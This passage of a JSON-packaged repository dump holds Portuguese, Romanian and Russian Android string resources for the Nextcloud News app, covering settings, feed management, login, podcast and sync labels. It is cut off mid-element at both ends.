certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nenhum podcast selecionado</string>\n    <string name=\"no_chapters_available\">Sem capítulos disponíveis</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidade de Reprodução</string>\n    <string name=\"notification_downloading_podcast_title\">A transferir \\\"podcast\\\"</string>\n    <string name=\"dialog_podcast_remove_title\">Tem a certeza?</string>\n    <string name=\"dialog_podcast_remove_body\">Deseja remover a mediateca transferida para %1$s?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Remover</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Sobre</string>\n    <string name=\"pref_license\">Licença</string>\n    <string name=\"pref_license_summary\">GNU - Licença Pública Geral Affero (AGPL) versão 3</string>\n    <string name=\"pref_report_issue\">Reportar um problema</string>\n    <string name=\"pref_report_issue_summary\">Requer uma conta GitHub (gratuita)</string>\n    <string name=\"pref_contribute\">Contribua!</string>\n    <string name=\"pref_contribute_summary\">Obter o código fonte</string>\n    <string name=\"pref_privacy\">Privacidade</string>\n    <string name=\"pref_version\">Aplicação Nextcloud News Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Disposição da lista de feeds</string>\n    <string name=\"pref_title_font_size\">Tamanho do tipo de letra</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ícones de Ação (Visualização Detalhada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Escuro</string>\n\n    <string name=\"pref_oled_mode\">Fundo preto</string>\n    <string name=\"pref_oled_mode_summary\">Para o tema escuro nos ecrãs OLED</string>\n\n    <string name=\"pref_display_browser_cct\">Separadores-Personalizado-Chrome Integrados</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texto simples</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Manchetes</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texto completo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Disposição Web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Visualização de cartão</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pequena</string>\n    <string name=\"pref_display_font_size_d\">Predefinida</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Muito grande</string>\n\n    <string name=\"content_desc_play\">Reproduzir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Encaminhar</string>\n    <string name=\"content_desc_collapse\">Expandir</string>\n    <string name=\"content_desc_add_to_favorites\">Adicionar aos favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Remover dos favoritos</string>\n    <string name=\"content_desc_show_password\">Mostrar senha</string>\n    <string name=\"content_desc_delete\">Apagar</string>\n    <string name=\"content_desc_download\">Transferir</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Erro</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Ocorreu algo de errado :(</string>\n    <string name=\"login_dialog_title_security_warning\">Aviso de Segurança</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Dados &amp; sincronização</string>\n    <string name=\"pref_title_clearCache\">Limpar a cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Imagens offline da cache</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamanho Máximo da Cache</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Apenas com Wi-Fi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Com Wi-Fi e Rede Móvel</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Perguntar quando não ligado à Wi-Fi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Trocar de conta</string>\n    \n    <string name=\"please_wait\">Aguarde...</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ro/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronizare automată</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalul sincronizării</string>\n    <string name=\"empty_view_content\">Nici un articol aici</string>\n    <string name=\"empty_view_content_action\">Trage în jos pentru a reîmprospăta</string>\n    <string name=\"toast_GettingMoreItems\">Descărcarea de articole noi a început. Vă rugăm să așteptați ...</string>\n    <string name=\"no_wifi_available\">Nu exista conexiune WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Doriți să descărcați imaginile fără o conexiune Wi-Fi?</string>\n    <string name=\"current_version\">Folosiți versiunea %s</string>\n    <string name=\"widget_header\">Știri Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nou item valabil</item>\n        <item quantity=\"few\">%d noi iteme valabile</item>\n        <item quantity=\"other\">%d noi iteme valabile</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Reîncarcă</string>\n    <string name=\"allUnreadFeeds\">Toate articolele necitite</string>\n    <string name=\"starredFeeds\">Articole selectate</string>\n    <string name=\"title_activity_new_feed\">Adaugă flux nou</string>\n\n    <string name=\"menu_update\">Împrospătare</string>\n    <string name=\"menu_markAllAsRead\">Marcaţi tot ca fiind citit</string>\n    <string name=\"menu_StartImageCaching\">Descarca imagini </string>\n    <string name=\"menu_downloadMoreItems\">Descarcă mai multe articole </string>\n\n    <string name=\"tv_showing_cached_version\">Se arată versiunea din cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Articole selectate</string>\n    <string name=\"action_read\">Citeşte</string>\n    <string name=\"action_playPodacst\">Inițiază Podcast</string>\n    <string name=\"action_openInBrowser\">Deschideți în browserul Web</string>\n    <string name=\"action_Share\">Partajează</string>\n    <string name=\"action_login\">Setările serverului</string>\n    <string name=\"action_save\">Salvează</string>\n    <string name=\"action_settings\">Setări</string>\n    <string name=\"action_sync_settings\">Setări Sincronizare</string>\n    <string name=\"action_add_new_feed\">Adaugă flux nou</string>\n    <string name=\"action_add_new_folder\">Adaugă dosar nou</string>\n    <string name=\"action_textToSpeech\">Citit</string>\n    <string name=\"action_search\">Caută</string>\n    <string name=\"action_download_articles_offline\">Descarcă articole offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Descarcă articole pentru folosirea offline</string>\n    <string name=\"notification_download_images_offline\">Descarcă imagini pentru folosirea offline</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Aveți %d știre nouă</item>\n        <item quantity=\"few\">Aveți %d știri noi</item>\n        <item quantity=\"other\">Aveți %d de știri noi</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d știre nouă și necitită este disponibilă</item>\n        <item quantity=\"few\">%d noi știri necitie sunt disponibile</item>\n        <item quantity=\"other\">%d de știri noi sunt necitite</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL-ul Feed-ului</string>\n    <string name=\"action_add_feed\">Adăugare flux</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descarcă imaginea</string>\n    <string name=\"action_img_sharelink\">Partajează linkul cu imagine</string>\n    <string name=\"action_img_open\">Deschide imaginea în browser</string>\n    <string name=\"action_img_copylink\">Copiază linkul către imagine</string>\n    <string name=\"action_link_share\">Partajează linkul</string>\n    <string name=\"action_link_open\">Deschide linkul în browser</string>\n    <string name=\"action_link_copy\">Copiază linkul</string>\n    <string name=\"toast_img_download_wait\">Se deascarcă. Vă rugăm așteptați ...</string>\n    <string name=\"toast_img_saved\">Imagine salvată</string>\n    <string name=\"toast_img_notwriteable\">A apărut o eroare în scrierea imaginii.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiat în clipboard</string>\n    <string name=\"error_download_failed\">Descărcarea a eșuat</string>\n    <string name=\"intent_title_share\">Partajează pe</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Elimină feed-ul</string>\n    <string name=\"action_feed_rename\">Redenumește feed-ul</string>\n    <string name=\"action_feed_move\">Muta feed-ul</string>\n    <string name=\"action_feed_notification_settings\">Setări notificări</string>\n    <string name=\"feed_remove_button\">Șterge</string>\n    <string name=\"feed_rename_button\">Redenumește</string>\n    <string name=\"confirm_feed_remove\">Ești sigur că dorești să elimini acest feed ? Această acțiune nu poate fi anulată!</string>\n    <string name=\"feed_move_list_description\">Seleactează dosarul în care dorești să muți feed-ul</string>\n    <string name=\"move_feed_root_folder\">Folder principal</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Șterge dosarul</string>\n    <string name=\"action_folder_rename\">Redenumește dosar</string>\n    <string name=\"folder_remove_button\">Elimină</string>\n    <string name=\"folder_rename_button\">Redenumire</string>\n    <string name=\"confirm_folder_remove\">Dorești să ștergi acest dosar ?</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Primește notificări unice pentru acest feed</string>\n    <string name=\"notification_feed_default\">Toate feed-urile cu setări implicite vor apărea intr-o singură notificare</string>\n    <string name=\"notification_feed_none\">Fără notificări</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Adaugă</string>\n    <string name=\"hint_folder_name\">Denumire director</string>\n    <string name=\"folder_already_exists\">Dosarul exista deja</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Autentificare manuală</string>\n    <string name=\"login_sso\">Autentificare folosind aplicația Fișiere Nextcloud</string>\n    <string name=\"pref_title_username\">Nume utilizator</string>\n    <string name=\"pref_title_password\">Parolă</string>\n    <string name=\"pref_title_owncloudRootPath\">Adresa principală Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Înregistraţi-vă</string>\n    <string name=\"login_progress_signing_in\">Autentificare ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Acest câmp este obligatoriu </string>\n    <string name=\"error_invalid_url\">URL incrorect</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Descarcă %d articol vechi</item>\n        <item quantity=\"few\">Descarcă %d articole vechi</item>\n        <item quantity=\"other\">Descarcă %d de articole vechi</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nici un articol disponibil.</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">A fost adus %d articol până acum ...</item>\n        <item quantity=\"few\">Au fost aduse %d articole până acum ...</item>\n        <item quantity=\"other\">Au fost aduse %d de articole până acum ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Setări</string>\n    <string name=\"cache_is_cleared\">Memoria cache este ștersă!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Alegeţi ordinea</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nou → Vechi</string>\n    <string name=\"pref_general_sort_order_old_new\">Vechi → Nou</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Acțiune în momentul mișcării degetului de la stânga la dreapta</string>\n    <string name=\"pref_rename_action_swipe_left\">Acțiune în momentul mișcării degetului de la dreapta la stânga</string>\n\n    <string name=\"pref_title_general_search_in\">Caută în</string>\n\n    <string name=\"pref_general_search_in_title\">Titlu</string>\n    <string name=\"pref_general_search_in_body\">Corp</string>\n    <string name=\"dialog_clearing_cache\">Ștergere cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Se golește memoria cache. Vă rugăm așteptați ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Există modificări nesincronizate. Dorești totuși să ștergi cache-ul?</string>\n    <string name=\"warning\">Atenție</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizare la pornire</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Arata doar articolele necitite </string>\n    <string name=\"pref_title_DisableHostnameVerification\">Dezactivează Verificarea Hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigheaza cu tastele de volum </string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marchează ca citit in timpul derulării</string>\n    <string name=\"pref_title_ShowFastActions\">Activați funcția de acces rapid</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Sari peste vizualizarea detaliată și deschide articole în browser</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accepta Certificat Necunoscut?</string>\n    <string name=\"mtm_decision_always\">Întotdeauna</string>\n    <string name=\"mtm_decision_abort\">Anuleaza</string>\n    <string name=\"mtm_notification\">Verificare certificat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nu a fost selectat podcastul</string>\n    <string name=\"no_chapters_available\">Nici-un articol disponibil</string>\n    <string name=\"exit_playback\">Ieși din player</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Viteză de redare</string>\n    <string name=\"notification_downloading_podcast_title\">Se descarcă podcast-ul</string>\n    <string name=\"dialog_podcast_remove_confirm\">Elimină</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Despre</string>\n    <string name=\"pref_license\">Licență</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versiunea 3</string>\n    <string name=\"pref_report_issue\">Raportează o problemă</string>\n    <string name=\"pref_report_issue_summary\">Necesită un cont (gratuit) GitHub</string>\n    <string name=\"pref_contribute\">Contribuie!</string>\n    <string name=\"pref_contribute_summary\">Obține codul sursă</string>\n    <string name=\"pref_privacy\">Confidențialitate</string>\n    <string name=\"pref_privacy_summary\">Politica de Confidențialitate a Nextcloud News pentru Android</string>\n    <string name=\"pref_version\">aplicația Nextcloud News pentru Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Display</string>\n    <string name=\"pref_title_app_theme\">Temă</string>\n    <string name=\"pref_title_feed_list_layout\">Aspectul listei de flux</string>\n    <string name=\"pref_title_font_size\">Mărime font</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Pictogramă cu acțiuni(vizualizare detaliată)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Setările sitemului implicite</string>\n    <string name=\"pref_display_apptheme_light\">Deschis</string>\n    <string name=\"pref_display_apptheme_dark\">Închis</string>\n\n    <string name=\"pref_oled_mode\">Fundal negru</string>\n    <string name=\"pref_oled_mode_summary\">Pentru teme întunecate pentru ecrane OLED</string>\n\n    <string name=\"pref_external_player\">Player extern</string>\n    <string name=\"pref_external_player_summary\">Redați podcast-uri în aplicația media implicită</string>\n\n    <string name=\"pref_display_browser_cct\">Tab-Personalizat-Chrome-Încorporat</string>\n    <string name=\"pref_display_browser_built_in\">Browser încorporat</string>\n    <string name=\"pref_display_browser_external\">Browser extern</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturi (numai titluri)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturi</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Text simplu</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Titluri</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Text complet</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Aspect Web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vizualizare carduri</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Mic</string>\n    <string name=\"pref_display_font_size_d\">Implicit</string>\n    <string name=\"pref_display_font_size_l\">Mare</string>\n    <string name=\"pref_display_font_size_xl\">Foarte mare</string>\n\n    <string name=\"content_desc_play\">Start Joc</string>\n    <string name=\"content_desc_pause\">Pauză</string>\n    <string name=\"content_desc_playback_speed\">Viteză de redare</string>\n    <string name=\"content_desc_rewind\">Derulează înapoi</string>\n    <string name=\"content_desc_forward\">Înainte</string>\n    <string name=\"content_desc_expand\">Extinde</string>\n    <string name=\"content_desc_collapse\">Restrânge</string>\n    <string name=\"content_desc_mark_as_read\">Marchează ca citit</string>\n    <string name=\"content_desc_mark_as_unread\">Marchează ca necitit</string>\n    <string name=\"content_desc_tap_to_refresh\">Apasă pentru a reîncărca</string>\n    <string name=\"content_desc_add_to_favorites\">Adăugați la favorite</string>\n    <string name=\"content_desc_remove_from_favorites\">Șterge din favorite</string>\n    <string name=\"content_desc_show_password\">Arată parola</string>\n    <string name=\"content_desc_delete\">Șterge</string>\n    <string name=\"content_desc_download\">Descărcare</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Eroare</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Se pare că aplicația de știri nu este instalată sau activată pe serverul dumneavoastră. Vă rugăm să urmariți instrucțiunile oferite aici pentru a vă seta corect aplicația dumneavoastră de știri de pe server: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Undeva s-a comis o eroare :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Aplicația web de știri a trimis versiunea \\\"0\\\".  Vă rugăm să aruncați oprivire pentru următorul raport de eroare: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Versiunea acestei aplicații nu este compatibilă cu aplicația dumneavoastră Nextcloud News. Vă rugăm să faceți un upgrade la aplicația de știri.</string>\n    <string name=\"login_dialog_title_security_warning\">Avertisment de securitate</string>\n    <string name=\"login_dialog_text_security_warning\">Nu folosiți HTTPS, ceea ce nu este încurajat. Un atacator ar putea intercepta traficul și ar putea obține acces la câteva informații importante (ex: parola dumneavoastră).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Ceva nu a mers bine. Vă rugăm să mai incercați o dată.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronizare &amp; date</string>\n    <string name=\"pref_title_clearCache\">Șterge cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Imagini Cache offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Mărime maximă Cache</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Niciodată</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Folosind numai WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Folosind numai WiFi &amp; date mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Când dispozitivul nu este conectat la WwiFi întreabă</string>\n\n    <string name=\"array_sync_interval_min_0\">Niciodată</string>\n    <string name=\"array_sync_interval_min_5\">5 minute</string>\n    <string name=\"array_sync_interval_min_15\">15 minute</string>\n    <string name=\"array_sync_interval_min_30\">30 de minute</string>\n    <string name=\"array_sync_interval_min_45\">45 de minute</string>\n    <string name=\"array_sync_interval_hour_1\">1 oră</string>\n    <string name=\"array_sync_interval_hour_2\">2 ore</string>\n    <string name=\"array_sync_interval_hour_3\">3 ore</string>\n    <string name=\"array_sync_interval_hour_6\">6 ore</string>\n    <string name=\"array_sync_interval_hour_12\">12 ore</string>\n    <string name=\"array_sync_interval_hour_24\">24 de ore</string>\n    <string name=\"switch_account\">Schimbă contul</string>\n    \n    <string name=\"successfully_exported\">Exportat cu succes în:</string>\n    <string name=\"opml_export\">Export în OPML</string>\n    <string name=\"parsing_opml\">Se analizează fișierul OPML</string>\n    <string name=\"please_wait\">Vă rugăm așteptați ...</string>\n    <string name=\"interval_sync_title\">Interval de sincronizare</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ru/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Автоматическая синхронизация</string>\n    <string name=\"title_activity_sync_interval_selector\">Интервал синхронизации</string>\n    <string name=\"empty_view_content\">Здесь нет элементов</string>\n    <string name=\"empty_view_content_action\">Потяните вниз, чтобы обновить</string>\n    <string name=\"toast_GettingMoreItems\">Началась загрузка дополнительных элементов. Пожалуйста, подождите ...</string>\n    <string name=\"no_wifi_available\">Нет соединения с Wi-Fi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Вы хотите скачать изображения без Wi-Fi соединения?</string>\n    <string name=\"current_version\">Вы используете версию %s</string>\n    <string name=\"widget_header\">Новости ownCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">доступен %d новый элемент</item>\n        <item quantity=\"few\">доступно %d новых элемента</item>\n        <item quantity=\"many\">доступно %d новых элементов</item>\n        <item quantity=\"other\">доступно %d новых элементов</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Обновить</string>\n    <string name=\"allUnreadFeeds\">Все непрочитанные</string>\n    <string name=\"starredFeeds\">Избранные элементы</string>\n    <string name=\"downloadedPodcasts\">Загруженные подкасты</string>\n    <string name=\"title_activity_new_feed\">Добавить новую ленту</string>\n\n    <string name=\"menu_update\">Обновить</string>\n    <string name=\"menu_markAllAsRead\">Пометить всё как прочитанное</string>\n    <string name=\"menu_StartImageCaching\">Скачать изображения</string>\n    <string name=\"menu_downloadMoreItems\">Скачать ещё</string>\n\n    <string name=\"tv_showing_cached_version\">Показана версия из кэша</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Избранное</string>\n    <string name=\"action_read\">Читать</string>\n    <string name=\"action_playPodacst\">Воспроизвести Подкаст</string>\n    <string name=\"action_removePodcast\">Удалить подкаст</string>\n    <string name=\"action_openInBrowser\">Открыть в браузере</string>\n    <string name=\"action_Share\">Поделиться</string>\n    <string name=\"action_login\">Параметры сервера</string>\n    <string name=\"action_save\">Сохранить</string>\n    <string name=\"action_settings\">Параметры</string>\n    <string name=\"action_sync_settings\">Настройки синхронизации</string>\n    <string name=\"action_add_new_feed\">Добавить новую ленту</string>\n    <string name=\"action_add_new_folder\">Добавить новую папку</string>\n    <string name=\"action_textToSpeech\">Зачитать вслух</string>\n    <string name=\"action_search\">Искать</string>\n    <string name=\"action_download_articles_offline\">Сохранить статьи для автономного доступа</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Сохранить статьи для автономного использования</string>\n    <string name=\"notification_download_images_offline\">Сохранить картинки для автономного использования</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">У Вас есть %d новый элемент</item>\n        <item quantity=\"few\">У Вас есть %d новых элемента</item>\n        <item quantity=\"many\">У Вас есть %d новых элементов</item>\n        <item quantity=\"other\">У Вас есть %d новых элементов</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">доступен %d непрочинатнный элемент</item>\n        <item quantity=\"few\">доступно %d непрочинатнных элемента</item>\n        <item quantity=\"many\">доступно %d непрочинатнных элементов</item>\n        <item quantity=\"other\">доступно %d непрочинатнных элементов</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Ссылка ленты</string>\n    <string name=\"action_add_feed\">Добавить ленту</string>\n    <string name=\"import_opml\">Импорт OPML</string>\n    <string name=\"export_opml\">Экспорт OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Скачать изображение</string>\n    <string name=\"action_img_sharelink\">Поделиться ссылкой картинки</string>\n    <string name=\"action_img_open\">Открыть картинку в браузере</string>\n    <string name=\"action_img_copylink\">Копировать ссылку на изображение</string>\n    <string name=\"action_link_share\">Поделиться ссылкой</string>\n    <string name=\"action_link_open\">Открыть ссылку в браузере</string>\n    <string name=\"action_link_copy\">Копировать ссылку</string>\n    <string name=\"toast_img_download_wait\">Загрузка. Пожалуйста, подождите ...</string>\n    <string name=\"toast_img_saved\">Изображение записано</string>\n    <string name=\"toast_img_notwriteable\">Не удалось записать изображение.</string>\n    <string name=\"toast_copied_to_clipboard\">Скопировано в буфер обмена</string>\n    <string name=\"error_download_failed\">Скачивание не удалось</string>\n    <string name=\"intent_title_share\">Поделиться в</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Удалить Новостную ленту</string>\n    <string name=\"action_feed_rename\">Переименовать Новостную ленту</string>\n    <string name=\"action_feed_move\">Перенести Новостную ленту</string>\n    <string name=\"action_feed_notification_settings\">Настройки уведомлений</string>\n    <string name=\"action_feed_open_in\">Открыть в настройках</string>\n    <string name=\"action_feed_open_in_general_setting\">Использовать общие настройки</string>\n    <string name=\"action_feed_open_in_detailed_view\">Подробный обзор</string>\n    <string name=\"feed_remove_button\">Удалить</string>\n    <string name=\"feed_rename_button\">Переименовать</string>\n    <string name=\"confirm_feed_remove\">Вы действительно хотите удалить эту Новостную ленту? Это не действие необратимо!</string>\n    <string name=\"feed_move_list_description\">Выберите папку для перемещения Новостной ленты</string>\n    <string name=\"move_feed_root_folder\">Корневой каталог</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Удалить каталог</string>\n    <string name=\"action_folder_rename\">Переименовать папку</string>\n    <string name=\"folder_remove_button\">Удалить</string>\n    <string name=\"folder_rename_button\">Переименовать</string>\n    <string name=\"confirm_folder_remove\">Вы действительно хотите удалить эту папку? Это действие невозможно отменить!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Получить индивидуальные уведомления для этой ленты</string>\n    <string name=\"notification_feed_default\">Все каналы с настройками по умолчанию будут отображаться в одном уведомлении</string>\n    <string name=\"notification_feed_none\">Отсутствуют все уведомления</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Добавить</string>\n    <string name=\"hint_folder_name\">Имя папки</string>\n    <string name=\"folder_already_exists\">Папка уже существует</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Стандартный вход</string>\n    <string name=\"login_sso\">Войти, используя приложение Nextcloud Files</string>\n    <string name=\"pref_title_username\">Имя пользователя</string>\n    <string name=\"pref_title_password\">Пароль</string>\n    <string name=\"pref_title_owncloudRootPath\">root адрес ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Войти</string>\n    <string name=\"login_progress_signing_in\">Авторизация ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Это поле обязательно для заполнения</string>\n    <string name=\"error_invalid_url\">Некорректный адрес</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d объект помечен прочитанным</item>\n        <item quantity=\"few\">%d объекта помечены прочитанными</item>\n        <item quantity=\"many\">%d объектов помечены прочитанными</item>\n        <item quantity=\"other\">%d объектов помечены прочитанными</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Скачан %d старый элемент</item>\n        <item quantity=\"few\">Скачано %d старых элемента</item>\n        <item quantity=\"many\">Скачано %d старых элементов</item>\n        <item quantity=\"other\">Скачано %d старых элементов</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Доступных объектов больше нет</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Найден %d объект на данный момент ...</item>\n        <item quantity=\"few\">Найдено %d объекта на данный момент ...</item>\n        <item quantity=\"many\">Найдено %d объектов на данный момент ...</item>\n        <item quantity=\"other\">Найдено %d объектов на данный момент ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Настройки</string>\n    <string name=\"cache_is_cleared\">Кэш очищен!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Основные</string>\n    <string name=\"pref_title_general_sort_order\">Порядок сортировки</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Новые → Старые</string>\n    <string name=\"pref_general_sort_order_old_new\">Старые → Новые</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Действие при смахивании вправо</string>\n    <string name=\"pref_rename_action_swipe_left\">Действие при смахивании влево</string>\n\n    <string name=\"pref_title_general_search_in\">Искать в</string>\n\n    <string name=\"pref_general_search_in_title\">Заголовок</string>\n    <string name=\"pref_general_search_in_body\">Тело</string>\n    <string name=\"pref_general_search_in_both\">Оба</string>\n\n    <string name=\"dialog_clearing_cache\">Очистить кэш.</string>\n    <string 